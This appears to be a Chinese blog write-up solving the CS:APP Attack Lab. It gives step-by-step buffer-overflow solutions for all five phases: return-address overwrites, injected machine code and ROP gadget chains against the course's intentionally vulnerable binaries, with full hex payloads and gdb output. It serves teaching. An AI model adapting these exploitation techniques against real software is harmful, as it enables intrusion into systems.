《CSAPP》- Attack Lab

2021-02-20 滿賦諸機
簡介

Attack Lab 和 Bomb Lab 一樣同屬於《深入理解計算機》第三章。這兩個 Lab 側重點不一樣, Bomb Lab 側重於使用 GDB 進行調試和理解彙編代碼, Attack Lab 則側重於緩衝區溢出攻擊這一點(對應於書中 P194 開始的 3.10.3, 3.10.4 這兩節)。

知識點回顧

緩衝區溢出應該剛開始學習 C 語言時最常見的問題了,根本原因是 C 語言不檢測數組是否越界,而後來學過的其他語言基本都支持越界檢測。結合本章剛剛學過的 C 語言數組對應的彙編代碼可知, C 語言中將數組當作指針,並沒有存儲數組長度的信息,所以無法支持越界檢測這一特性。針對緩衝區溢出攻擊 GCC 自動使用以下三種防範機制 P198:

•棧隨機化:棧的位置每次運行時都隨機變化,不會固定•棧破壞檢測:在棧幀中任意局部緩衝區與棧狀態之間存儲一個特殊的隨機值,在函數返回前會檢測該值是否被改變了,如果被改變則會異常終止。可以通過使用 -fno-stack-protector 選項阻止 GCC 進行棧破壞檢測•限制可執行代碼區域:棧可以被標記為可讀和可寫,但是不可執行,而檢查頁是否可執行由硬體來完成,效率上沒有損失

準備

可以在 官網[1] 下載 Attack Lab 相關的程序。

開始前需要閱讀 Attack Lab writeup[2] ,因為 Lab 程序不是很具體,無法得知需要做什麼。

本次需要使用的程序依舊需要在 Docker 中運行,將本地 Lab 的目錄掛載進容器中即可:

docker run -ti -v {PWD}:/csapp ubuntu:18.04

進入容器後需要安裝 gdb :

apt-get update && apt-get -y install gdb

然後就可以愉快的開始闖關了。

闖關第一關

第一關不需要注入代碼,只需要讓函數 test 在調用函數 getbuf 後返回到函數 touch1 開始繼續執行即可。

void test(){    int val;    val = getbuf();    printf("No exploit. Getbuf returned 0x%x\n", val);}
void touch1(){ vlevel = 1; printf("Touch1!: You called touch1()\n"); validate(1); exit(0);}

目標很明確也很簡單,所需要做的就是拿到函數 touch1 開始的地址,然後通過緩衝區溢出的方式將這個地址恰好放到 getbuf 返回地址所在的位置。

先使用 GDB 運行 ctarget: gdb ./ctarget

然後查看函數 touch1 的彙編代碼,可以得到需要將 getbuf 返回地址替換為 0x4017c0 。

(gdb) disas touch1Dump of assembler code for function touch1:   0x4017c0 <+0>:   sub    $0x8,%rsp   0x4017c4 <+4>:   movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>   0x4017ce <+14>:  mov    $0x4030c5,%edi   0x4017d3 <+19>:  callq  0x400cc0 <puts@plt>   0x4017d8 <+24>:  mov    $0x1,%edi   0x4017dd <+29>:  callq  0x401c8d <validate>   0x4017e2 <+34>:  mov    $0x0,%edi   0x4017e7 <+39>:  callq  0x400e40 <exit@plt>

再查看函數 getbuf 的彙編代碼,可以知道棧中分配了 40 字節的空間,並且會通過函數 Gets 將輸入字符串從 %rsp 開始放置,即我們需要將 0x4017c0 寫入 %rsp + 40 對應的地址,而其他地址的數據無所謂,可以使用任意值。

(gdb) disas getbufDump of assembler code for function getbuf:   0x4017a8 <+0>:   sub    $0x28,%rsp   0x4017ac <+4>:   mov    %rsp,%rdi   0x4017af <+7>:   callq  0x401a40 <Gets>   0x4017b4 <+12>:  mov    $0x1,%eax   0x4017b9 <+17>:  add    $0x28,%rsp   0x4017bd <+21>:  retq

綜上可得出一個合法的解,並將其存儲在 phase1.txt 中

•Attack Lab writeup[3] 中提示我們使用的是小端序程序,所以需要按字節反序傳給 hex2raw 程序,再傳給 ctarget (因為部分字節無法通過鍵盤輸入,所以需要通過轉換的方式傳給 ctarget )。

然後我們可以驗證該解的正確性:

> ./hex2raw -i phase1.txt | ./ctarget -qCookie: 0x59b997faType string:Touch1!: You called touch1()Valid solution for level 1 with target ctargetPASS: Would have posted the following:    user id    bovik    course    15213-f15    lab    attacklab    result    1:PASS:0xffffffff:ctarget:1:69 64 65 61 6C 69 73 6D 2D 78 78 6D 00 00 00 00 00 00 00 00 6D 78 78 2D 6D 73 69 6C 61 65 64 69 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

第二關

第二關需要注入一小段代碼,讓函數 test 在調用函數 getbuf 後返回到函數 touch2 開始繼續執行,並且需要將寄存器 %rdi 的值設置為 cookie 對應的值,本地是 cookie.txt 文件中的值 0x59b997fa 。

•限制僅能通過 ret 指令進行控制轉移,不能使用 jmp 和 call 等

void touch2(unsigned val){    vlevel = 2;     if (val == cookie) {        printf("Touch2!: You called touch2(0x%.8x)\n", val);        validate(2);    } else {        printf("Misfire: You called touch2(0x%.8x)\n", val);        fail(2);    }    exit(0);}

首先還是通過 (gdb) disas touch2 獲取函數開始的地址 0x4017ec

然後就是思考如何通過 ret 進行控制轉移, ret 指令會將棧頂的值出棧,並跳轉到該值所指向的地址,所以思路就很明確了。

在 getbuf 返回的時候跳轉到我們注入代碼的開始位置(為了方便及減少輸入字符串的長度,我們使用 getbuf 內部分配的 40 個字節。因為 ctarget 禁止了棧隨機化,所以此方法可行),注入代碼需要將寄存器 %rdi 的值設置為 0x59b997fa ,再將 0x4017ec 入棧,最後再執行 ret 。

對應的彙編代碼如下,將其保存在 phase2_code.s 中:

movq $0x59b997fa, %rdipushq $0x4017ecret

現在需要將其轉換成對應的機器代碼:

# 將彙編代碼翻譯成機器代碼> gcc -c phase2_code.s# 反彙編代碼> objdump -d phase2_code.o
phase2_code.o: file format elf64-x86-64

Disassembly of section .text:
0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq

可得需要注入的機器代碼如下:

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00

此時我們需要找到 getbuf 內部分配的 40 個字節的起始地址,可以在 0x4017ac 處(getbuf 中分配好 40 個字節後第一條指令的地址)打上斷點,查看此時寄存器 %rsp 的值即可。

# 設置斷點(gdb) break * 0x4017acBreakpoint 1 at 0x4017ac: file buf.c, line 14.# 調試 ctarget(gdb) run -qStarting program: /csapp/attacklab/ctarget -qwarning: Error disabling address space randomization: Operation not permittedCookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:14# 查看寄存器 $rsp 中的值(gdb) print /x $rsp$1 = 0x5561dc78

綜上可得出一個合法的解,並將其存儲在 phase2.txt 中

然後我們可以驗證該解的正確性:

> ./hex2raw -i phase2.txt | ./ctarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target ctargetPASS: Would have posted the following:    user id    bovik    course    15213-f15    lab    attacklab    result    1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 69 64 65 61 6C 69 73 6D 2D 78 78 6D 6D 78 78 2D 6D 73 69 6C 61 65 64 69 78 DC 61 55 00 00 00 00

第三關

第三關同樣需要注入一小段代碼,讓函數 test 在調用函數 getbuf 後返回到函數 touch3 開始繼續執行,並且需要將以寄存器 %rdi 開始的字符串設置為 cookie 對應的值的 16 進位,本地是 cookie.txt 文件中的值 0x59b997fa ,即該字符串需要為 59b997fa ,對應的字節數據為 35 39 62 39 39 37 66 61 00 (最後要加上字符 \0)。

•限制僅能通過 ret 指令進行控制轉移,不能使用 jmp 和 call 等

void touch3(char *sval){    vlevel = 3;     if (hexmatch(cookie, sval)) {        printf("Touch3!: You called touch3(\"%s\")\n", sval);        validate(3);    } else {        printf("Misfire: You called touch3(\"%s\")\n", sval);        fail(3);    }    exit(0);}

可以發現函數 touch3 會調用函數 hexmatch ,因此棧中的數據可能會被覆蓋,所以我們需要將字符串的數據存儲在 %rsp + 48 處,避免數據被覆蓋。

通過 (gdb) disas touch3 獲取函數開始的地址 0x4018fa 。

第二關中我們得出:%rsp = 0x5561dc78 ,那麼可得出字符串起始地址 %rsp + 48 = 0x5561dca8 。

那麼本關需要注入的代碼為:

movq $0x5561dca8, %rdipushq $0x4018faret

可得需要注入的機器代碼如下:

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00

綜上可得出一個合法的解,並將其存儲在 phase3.txt 中

然後我們可以驗證該解的正確性:

> ./hex2raw -i phase3.txt | ./ctarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target ctargetPASS: Would have posted the following:    user id    bovik    course    15213-f15    lab    attacklab    result    1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 69 64 65 61 6C 69 73 6D 2D 78 78 6D 6D 78 78 2D 6D 73 69 6C 61 65 64 69 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

中場學習

第四關和第五關要使用 rtarget 進行攻擊,而這個程序開啟了棧隨機化,並且限制棧不可執行,所以難度大大增加。

Attack Lab writeup[4] 提示我們可以使用 ROP (return-oriented programming) 技術來執行我們需要的指令, ROP 是在找到程序中以 ret 結尾的一段指令序列,這種指令序列稱作 gadget 。

例如存在如下函數:

void setval_210(unsigned *p){    *p = 3347663060U;}

其對應的彙編代碼為:

0000000000400f15 <setval_210>:  400f15: c7 07 d4 48 89 c7  movl $0xc78948d4,(%rdi)  400f1b: c3                 retq

其中字節序列 48 89 c7 對應彙編指令 movq %rax, %rdi ,我們可以利用這樣的思路執行本不存在的指令。

由於我們通過緩衝區溢出的方式重寫了棧中的數據,而 pushq, popq, ret 都是通過棧進行相關處理的,所以我們可以將所需要的數據或者所需執行的 gadget 地址編排好放入棧中

Attack Lab writeup[5] 已經整理好了我們可能會需要的指令及其字節序列

第四關

第四關需要使用 rtarget 進行第二關的操作,並有提示:

•使用 start_farm 和 mid_farm 中間的函數•只需要使用兩個這種操作即可通過•字節 90 對應的彙編代碼是 nop ,效果是 PC = PC + 1

我們先查看本關所需的函數的機器指令序列,運行 objdump -d rtarget --start-address 0x0000000000401994 --stop-address 0x00000000004019d0 | cut -d $'\t' -f2 | grep c3 -n3 可以獲得 start_farm ~ mid_farm 內的機器代碼片段,並高亮 c3

6-7-0000000000401994 <start_farm>:8-b8 01 00 00 009:c310-11-000000000040199a <getval_142>:12-b8 fb 78 90 9013:c314-15-00000000004019a0 <addval_273>:16:8d 87 48 89 c7 c317:c318-19-00000000004019a7 <addval_219>:20-8d 87 51 73 58 9021:c322-23-00000000004019ae <setval_237>:24-c7 07 48 89 c7 c725:c326-27-00000000004019b5 <setval_424>:28-c7 07 54 c2 58 9229:c330-31-00000000004019bc <setval_470>:32-c7 07 63 48 8d c733:c334-35:00000000004019c3 <setval_426>:36-c7 07 48 89 c7 9037:c338-39-00000000004019ca <getval_280>:40:b8 29 58 90 c341:c3

從中我們檢查所有 c3 前的序列(忽略 c3 前的 90),發現可以產生如下指令(movl 指令是對應的 movq 指令的後綴):

函數可產生指令對應地址getval_142--addval_273movq %rax, %rdi0x4019a2addval_219popq %rax0x4019absetval_237--setval_424--setval_470--setval_426movq %rax, %rdi0x4019c5getval_280popq %rax0x4019cc

可以發現我們只能使用兩個指令 movq %rax, %rdi 和 popq %rax 來將 cookie 對應的值 0x59b997fa 寫入 %rdi 中,那麼很明顯就是預先將 0x59b997fa 寫入棧中,然後通過 popq %rax 從棧中放到寄存器 %rax 中,然後通過 movq %rax, %rdi 將其移動到寄存器 %rdi 中。

所以我們需要依次將以下數據寫入到 getbuf 返回地址開始的位置中:

# 該 gadget 對應執行的指令為:popq %raxcc 19 40 00 00 00 00 00# 對應彈出的數據 0x59b997fafa 97 b9 59 00 00 00 00# 該 gadget 對應執行的指令為:movq %rax, %rdic5 19 40 00 00 00 00 00# 對應函數 touch2 的入口地址ec 17 40 00 00 00 00 00

綜上可得出一個合法的解,並將其存儲在 phase4.txt 中

然後我們可以驗證該解的正確性:

> ./hex2raw -i phase4.txt | ./rtarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target rtargetPASS: Would have posted the following:    user id    bovik    course    15213-f15    lab    attacklab    result    1:PASS:0xffffffff:rtarget:2:69 64 65 61 6C 69 73 6D 2D 78 78 6D 00 00 00 00 00 00 00 00 6D 78 78 2D 6D 73 69 6C 61 65 64 69 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

第五關

第五關需要使用 rtarget 進行第三關的操作,即寄存器 %rdi 指向一個字符串的起始地址,該字符串必須為 59b997fa ,對應的字節數據為 35 39 62 39 39 37 66 61 00 (最後要加上字符 \0)。

我們首先整理出可以使用的指令(使用 start_farm 和 end_farm 中間的函數產生,忽略指令 nop, andb, orb, cmpb, testb ,這些指令無其他效果,僅會增加 PC):

函數可產生指令對應地址getval_142--addval_273movq %rax, %rdi0x4019a2addval_219popq %rax0x4019absetval_237--setval_424--setval_470--setval_426movq %rax, %rdi0x4019c5getval_280popq %rax0x4019ccadd_xylea (%rdi, %rsi, 1), %rax0x4019d6getval_481popq %rsp; movl %eax, %edx;0x4019dcsetval_296--addval_113--addval_490--getval_226--setval_384--addval_190movq %rsp, %rax0x401a06setval_276--addval_436movl %ecx, %esi0x401a13getval_345--addval_479--addval_187movl %ecx, %esi0x401a29setval_248--getval_159movl %edx, %ecx0x401a34addval_110movl %esp, %eax0x401a3caddval_487movl %eax, %edx0x401a42addval_201--getval_272--getval_155--setval_299--addval_404--getval_311movl %edx, %ecx0x401a69setval_167--setval_328--setval_450--addval_358movl %esp, %eax0x401a86addval_124--getval_169--setval_181--addval_184--getval_472--setval_350movl %rsp, %rax0x401aad

去重整理後可得我們可以使用的指令如下:

指令對應地址movq %rax, %rdi0x4019c5popq %rax0x4019cclea (%rdi, %rsi, 1), %rax0x4019d6popq %rsp; movl %eax, %edx;0x4019dcmovq %rsp, %rax0x401a06movl %ecx, %esi0x401a13movl %edx, %ecx0x401a34movl %esp, %eax0x401a3cmovl %eax, %edx0x401a42movl %rsp, %rax0x401aad

由於開了棧隨機化,所以無法使用絕對地址定位棧中的地址,我們需要通過相對地址確定字符串的起始地址,而我們又使用 ROP 進行攻擊,所以字符串需要放在末尾,計算這個地址可以使用 lea (%rdi, %rsi, 1), %rax 這個指令。

為此我們還需要先執行指令 movq %rax, %rdi 和 movl %ecx, %esi ,由於 movl 會將高 32 位置 0 ,所以我們將棧指針的地址存在寄存器 %rdi 中(可以通過執行 movq %rsp, %rax; movq %rax, %rdi; 實現),將地址偏移量存在寄存器 %ecx 中(可以通過 popq %rax; movl %eax, %edx; movl %edx, %ecx; movl %ecx, %esi; 實現)。

綜上可得一種合法的執行順序如下:

popq %raxmovl %eax, %edxmovl %edx, %ecxmovl %ecx, %esimovq %rsp, %raxmovq %rax, %rdilea (%rdi, %rsi, 1), %raxmovq %rax, %rdi# 先存放函數 touch3 的入口地址# fa 18 40 00 00 00 00 00# 這裡開始放字節數據:# 35 39 62 39 39 37 66 61 00

從中可得:字節數據起始地址相對執行 movq %rsp, %rax 這行指令時 %rsp 的地址偏移量為 0x20

綜上可得出一個合法的解如下:

69 64 65 61 6c 69 73 6d2d 78 78 6d 00 00 00 0000 00 00 00 6d 78 78 2d6d 73 69 6c 61 65 64 6900 00 00 00 00 00 00 00cc 19 40 00 00 00 00 0020 00 00 00 00 00 00 0042 1a 40 00 00 00 00 0034 1a 40 00 00 00 00 0013 1a 40 00 00 00 00 0006 1a 40 00 00 00 00 00c5 19 40 00 00 00 00 00d6 19 40 00 00 00 00 00c5 19 40 00 00 00 00 00fa 18 40 00 00 00 00 0035 39 62 39 39 37 66 6100

將其存入 phase5.txt 並驗證正確性:

> ./hex2raw -i phase5.txt | ./rtarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target rtargetPASS: Would have posted the following:    user id    bovik    course    15213-f15    lab    attacklab    result    1:PASS:0xffffffff:rtarget:3:69 64 65 61 6C 69 73 6D 2D 78 78 6D 00 00 00 00 00 00 00 00 6D 78 78 2D 6D 73 69 6C 61 65 64 69 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

註:以上 5 張棧圖均按從左往右的順序存儲字節數據(書中是按照從右往左存儲,這裡偷懶不想再反序了)小結

Attack Lab 總體上來說比 Bomb Lab 簡單一點,這個體力活佔得更多,因為總共就幾種方法,可以根據需要實現的效果和已有的指令輕易推導出來可以如何組織這些指令。

References

[1] 官網: http://csapp.cs.cmu.edu/3e/labs.html
[2] Attack Lab writeup: http://csapp.cs.cmu.edu/3e/attacklab.pdf
[3] Attack Lab writeup: http://csapp.cs.cmu.edu/3e/attacklab.pdf
[4] Attack Lab writeup: http://csapp.cs.cmu.edu/3e/attacklab.pdf
[5] Attack Lab writeup: http://csapp.cs.cmu.edu/3e/attacklab.pdf

相關焦點

  • LAB完結
    arch, attack, cache, shell, malloc, proxy)。比如,data lab要求學生掌握位運算的技巧;bomb lab要求學生閱讀簡單的彙編代碼(arch lab要求學生設計自己的流水線並優化程序性能;attack lab要求學生根據棧的特點攻擊一段有漏洞的代碼;cache lab要求學生模擬緩存的LRU替換策略,並修改程序以減少cache miss的次數;shell lab要求學生定製自己的linux shell;malloc lab要求學生實現動態內存分配
  • 《CSAPP》- Bomb Lab (上)
    本次需要使用的程序依舊需要在 Docker 中運行,將本地 Lab 的目錄掛載進容器中即可:docker run -ti -v {PWD}:/csapp ubuntu:18.04進入容器後需要安裝 gdb :apt-get update
  • 《CSAPP》- Cache Lab (下)
    先跑一下這個結果,發現未命中次數為 1183 次,離目標 300 次以下還有很遠,這時和做 Architecture Lab 最後一部分一樣有點不知所措,不過指南最後提到了使用分塊的方法可以優化,就繼續學習 分塊技術 ( http://csapp.cs.cmu.edu/public/waside/waside-blocking.pdf ) 。
  • CSAPP lab4 archlab
    CSAPP lab4 archlablab真心難,這一章的體系結構部分還是真心很難,總共分為parta、partb、partc三部分,三部分都還挺難的,parta,partb部分還算比較容易,partc部分真心還是挺難的,需要仔細了解和學習相關知識。
  • PWN系列堆利用之 Unsorted Bin Attack
    HITCON Training lab14 magic heap分析按照慣例,首先檢查下有什麼保護root@daily_exercise:/ctf/work/heap/unsorted_bin_attack/hitcontraining_lab14[*] '/ctf/work/heap/unsorted_bin_attack/hitcontraining_lab14
  • chicken attack音樂是什麼梗 chicken attack神曲歌詞意思
    chicken attack神曲什麼梗 chicken attack神曲歌詞意思  日本洗腦神曲Chicken Attack小編一聽就笑了,日本這個國家總有些奇怪的東西可以流行出來,不過這首雞雞出擊還真好聽,不是一般的人能唱出來的,小編想說,來我是歌手吧,讓那節目,chicken attack
  • 《CSAPP》- Bomb Lab (下)
  • 羞愧綜合症 cringe attack
    每個人都有不堪回首的往事,當這種難堪事不經意間在腦海回放,你會再次飽嘗那種羞愧難當的滋味,而且好長時間都會覺得不舒服,這就是cringe attack(羞愧綜合症)。 The so-called cringe attack is to feel massively ashamed of past actions that you have personally
  • ...anniversary of the terrorist attack on Berlin Christmas...
    epa06399367 Visitors stand at the memorial on the day of commemorative events marking the first anniversary of the terrorist attack on Christmas market
  • 極限反擊(Counter Attack)
    極限反擊(Counter Attack)簡介 Counter attack
  • 3 dead as woman beheaded in knife attack at French church
    Nice’s mayor, Christian Estrosi, who described the attack as terrorism, said on Twitter it had happened in or near the city’s Notre Dame church and that police had detained the attacker.
  • Three more arrested over London train bomb attack
    Authorities said there are now five people being questioned by detectives over the attack, in which 30 people were injured.
  • 侏羅紀進攻 Jurassic attack截圖
    侏羅紀進攻 Jurassic attack截圖
  • 高中英語詞彙:單詞刷,巧記單詞-apartment,attack
    高中英語詞彙:單詞刷,巧記單詞-apartment,attack今日筆者與大家繼續分享- 高中英語詞彙-單詞刷,巧記單詞系列之三,來自於高中英語教材必修1,字母A單詞序列。今日與大家分享的單詞是 apartment,attack。主要分兩步:第一步,音形義整合圖示,解決發音及初記單詞的問題,圖示美觀實用,創設了易於學生視覺保護的綠色為基調,使學生在輕鬆的氛圍下識詞,突出-在玩中學。
  • X-lab nurtures the future for China, Germany
    It covers student exchanges, education sharing and creating and Tsinghua's X-lab is closely involved.
  • 屈臣氏Colorlab彩妝店
    於是,在屈臣氏Colorlab專業彩妝店裡,我們看到了一個令人興奮的、豐富多彩的、充滿沉浸感的體驗場景,引發路過行人的好奇心,激發探索的欲望。屈臣氏Colorlab彩妝店Colorlab內部豐富的體驗場景由西睿羿構思,在視覺上創造了六邊形的柱子來強化定義試妝區,增加了產品觸點,不同品牌的產品並沒有被隔離開,而是融合在一起滿足了一整套的彩妝體驗。
  • 「進擊的巨人」的翻譯「attack on titan」成真,人類進攻巨人
    《進擊的巨人》是一部火遍全球的動漫,在歐美世界也有不俗的影響力,由此動漫的英文譯名也很著名「attack on titan」,這個英文翻譯是非常有趣的,意思是向巨人進攻。人類在動漫有過聲勢不小反攻,特羅斯特區域的戰鬥、瑪利亞之牆奪還戰以及調查兵團向巨人所在的領域的不斷進兵,這三者都是為了在巨人的魔爪手中搶回土地,雖然他們在這個過程中斬殺了大量巨人但是在戰鬥中他們也是儘量避免和巨人交戰,所以在動漫很長一段時間中,所謂「attack on titan」都是名不副實的
  • Hundreds killed in Boko Haram attack
    DownloadBoko Haram militants dressed as soldiers slaughtered at least 200 civilians in three communities in northeastern Nigeria, in massacres the military did nothing to stop despitewarnings that an attack
  • Bomb lab
    前言這是CMU的Computer Systems: A Programmer's Perspective配套的lab作業。
  • 英語詞彙:associate/astonish/attach/attack/attempt/attend
    四、attack / 'tk /vt. 襲擊;攻擊;抨擊;(疾病)侵襲n.攻擊;進攻;抨擊;病情發作【拓展】(1)attack sb.for sth.由於某事而責難某人attack sb.with sth.